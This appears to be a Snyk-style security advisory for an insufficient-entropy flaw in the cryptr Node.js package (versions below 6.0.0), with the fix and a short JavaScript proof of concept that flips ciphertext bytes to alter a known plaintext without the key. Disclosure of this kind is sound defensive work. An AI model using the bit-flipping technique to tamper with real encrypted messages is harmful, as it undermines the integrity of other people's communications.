Insufficient Entropy Affecting cryptr package, versions <6.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-CRYPTR-173731
- published 26 Feb 2019
- disclosed 5 Feb 2019
- credit duskwuff
How to fix?
Upgrade cryptr to version 6.0.0 or higher.
Overview
cryptr is a simple aes-256-ctr encrypt and decrypt module for node.js.
Affected versions of this package are vulnerable to Insufficient Entropy. If the cleartext contents of encrypted strings are known, it is possible to alter the content of the encrypted string without knowledge of the key. An attacker could modify encrypted messages in transit without detection.
PoC
by duskwuff:
var tmp = Buffer.from(encryptedString, "hex");
var b1 = Buffer.from("bacon"), b2 = Buffer.from("hello");
for (var i = 0; i < b1.length; i++) {
tmp[i + 16] ^= b1[i] ^ b2[i];
}
var ep = tmp.toString("hex");
console.log(ep); // "bcb23b81c4839d06644792878e569de4f855ff8306"
var dp = cryptr.decrypt(ep);
console.log(dp); // "hello"
References
CVSS Scores
version 3.1